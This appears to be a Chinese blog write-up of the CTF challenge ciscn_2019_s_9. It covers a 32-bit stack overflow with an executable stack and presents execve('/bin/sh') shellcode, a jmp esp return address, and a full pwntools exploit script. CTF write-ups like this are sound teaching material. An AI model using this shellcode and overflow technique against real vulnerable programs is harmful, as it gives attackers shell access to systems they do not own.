ciscn_2019_s_9详解

2024-02-10 04:20
文章标签 详解 2019 ciscn

本文主要是介绍ciscn_2019_s_9详解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述

checksec得知:
1、程序架构是 i386,32位,小端模式
2、got表可读可写
3、没有启用栈保护
4、栈中数据有执行权限
5、未启用位置无关可执行文件
6、存在可读可写可执行段
在这里插入图片描述

执行程序,要求输入字符串。

使用ida pro 反汇编
在这里插入图片描述

按f5生成伪代码
在这里插入图片描述

main函数调用了函数pwn(),双击函数pwn进入,
在这里插入图片描述

pwn函数定义了字符数组s,大小为24,位于离栈顶8h,栈底20h位置。而且函数用fgets从标准输入读入50个字符,此函数存在栈溢出漏洞。
注意到程序中存在hit函数,作用是跳转到栈上执行,jmp esp
在这里插入图片描述

那么可以构造shellcode分三段
1、执行/bin/sh,
2、覆盖原返回地址为指向jmp esp的地址,
3、修改栈顶为s地址,也是就是输入shellcode的内存起始地址。栈是可执行的。
执行/bin/sh代码为

xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80  

修改返回地址为jmp esp地址0x08048554,
修改栈顶为s地址并执行的代码
sub esp,28h;call esp
内存分布如图
在这里插入图片描述

分析
因为内存中s距离ebp为20h,ebp上面一个地址保存的是main函数的ebp,然后是返回地址,架构32位就是保存地址需4h空间,也就是s离保存返回地址的距离是24h,意味着执行/bin/sh的shellcode大小需要在24h内,不够补\x90,不能大,后面再拼接jmp esp地址 0x08048554,地址来源于ida pro分析,占用4h空间,此时距离s是28h,再拼接调整esp,跳转到esp执行的代码sub esp,28h;call esp。esp减28h是因为pwn函数返回时执行leave,就是执行move esp ebp,pop ebp,此前内存被修改了,但是ebp寄存器的值没有被修改,ebp距离s是20h,执行move esp,ebp;导致esp距离s是20h;执行pop ebp 把esp栈顶的值给ebp,esp加4h,执行retn,就是pop eip,把修改后的返回地址 0x08048554给eip,esp加4h,此时esp距离s是28h,esp指向的地址就是保存返回地址的上一个地址也就是写入的shellcode的代码中sub esp,28h;call esp 内容,pwn函数返回后执行修改后的返回地址内容,就是hint函数的jmp esp内容,跳转到栈上执行shellcode第三段内容,希望执行shellcode前段内容执行/bin/sh,也是s地址的内容,此时s距离esp是28h,所以执行sub esp,28h;此时esp指向s位置,然后call esp,跳转到s执行,也是就shellcode前段内容。
在python中运行完整代码如下

# coding=utf-8
from pwn import *
context(os='linux',arch='i386',terminal=['tmux','sp','-h'])  #need tmux 
p = process("./ciscn_s_9")
ret_addr = 0x08048554 #jmp esp
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80                
'''
shellcode=asm(shellcode)
payload = shellcode.ljust(0x24,b'\x90') + p32(ret_addr) + asm("sub esp,40;call esp")
print(len(payload))
p.recvuntil(">\n")
gdb.attach(p)
p.sendline(payload)
p.interactive()

这篇关于ciscn_2019_s_9详解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/696120

相关文章

Oracle的to_date()函数详解

《Oracle的to_date()函数详解》Oracle的to_date()函数用于日期格式转换,需要注意Oracle中不区分大小写的MM和mm格式代码,应使用mi代替分钟,此外,Oracle还支持毫... 目录oracle的to_date()函数一.在使用Oracle的to_date函数来做日期转换二.日

Java实现任务管理器性能网络监控数据的方法详解

《Java实现任务管理器性能网络监控数据的方法详解》在现代操作系统中,任务管理器是一个非常重要的工具,用于监控和管理计算机的运行状态,包括CPU使用率、内存占用等,对于开发者和系统管理员来说,了解这些... 目录引言一、背景知识二、准备工作1. Maven依赖2. Gradle依赖三、代码实现四、代码详解五

Mysql 中的多表连接和连接类型详解

《Mysql中的多表连接和连接类型详解》这篇文章详细介绍了MySQL中的多表连接及其各种类型,包括内连接、左连接、右连接、全外连接、自连接和交叉连接,通过这些连接方式,可以将分散在不同表中的相关数据... 目录什么是多表连接?1. 内连接(INNER JOIN)2. 左连接(LEFT JOIN 或 LEFT

Java中switch-case结构的使用方法举例详解

《Java中switch-case结构的使用方法举例详解》:本文主要介绍Java中switch-case结构使用的相关资料,switch-case结构是Java中处理多个分支条件的一种有效方式,它... 目录前言一、switch-case结构的基本语法二、使用示例三、注意事项四、总结前言对于Java初学者

Linux内核之内核裁剪详解

《Linux内核之内核裁剪详解》Linux内核裁剪是通过移除不必要的功能和模块,调整配置参数来优化内核,以满足特定需求,裁剪的方法包括使用配置选项、模块化设计和优化配置参数,图形裁剪工具如makeme... 目录简介一、 裁剪的原因二、裁剪的方法三、图形裁剪工具四、操作说明五、make menuconfig

详解Java中的敏感信息处理

《详解Java中的敏感信息处理》平时开发中常常会遇到像用户的手机号、姓名、身份证等敏感信息需要处理,这篇文章主要为大家整理了一些常用的方法,希望对大家有所帮助... 目录前后端传输AES 对称加密RSA 非对称加密混合加密数据库加密MD5 + Salt/SHA + SaltAES 加密平时开发中遇到像用户的

Springboot使用RabbitMQ实现关闭超时订单(示例详解)

《Springboot使用RabbitMQ实现关闭超时订单(示例详解)》介绍了如何在SpringBoot项目中使用RabbitMQ实现订单的延时处理和超时关闭,通过配置RabbitMQ的交换机、队列和... 目录1.maven中引入rabbitmq的依赖:2.application.yml中进行rabbit

C语言线程池的常见实现方式详解

《C语言线程池的常见实现方式详解》本文介绍了如何使用C语言实现一个基本的线程池,线程池的实现包括工作线程、任务队列、任务调度、线程池的初始化、任务添加、销毁等步骤,感兴趣的朋友跟随小编一起看看吧... 目录1. 线程池的基本结构2. 线程池的实现步骤3. 线程池的核心数据结构4. 线程池的详细实现4.1 初

Python绘制土地利用和土地覆盖类型图示例详解

《Python绘制土地利用和土地覆盖类型图示例详解》本文介绍了如何使用Python绘制土地利用和土地覆盖类型图,并提供了详细的代码示例,通过安装所需的库,准备地理数据,使用geopandas和matp... 目录一、所需库的安装二、数据准备三、绘制土地利用和土地覆盖类型图四、代码解释五、其他可视化形式1.

SpringBoot使用Apache POI库读取Excel文件的操作详解

《SpringBoot使用ApachePOI库读取Excel文件的操作详解》在日常开发中,我们经常需要处理Excel文件中的数据,无论是从数据库导入数据、处理数据报表,还是批量生成数据,都可能会遇到... 目录项目背景依赖导入读取Excel模板的实现代码实现代码解析ExcelDemoInfoDTO 数据传输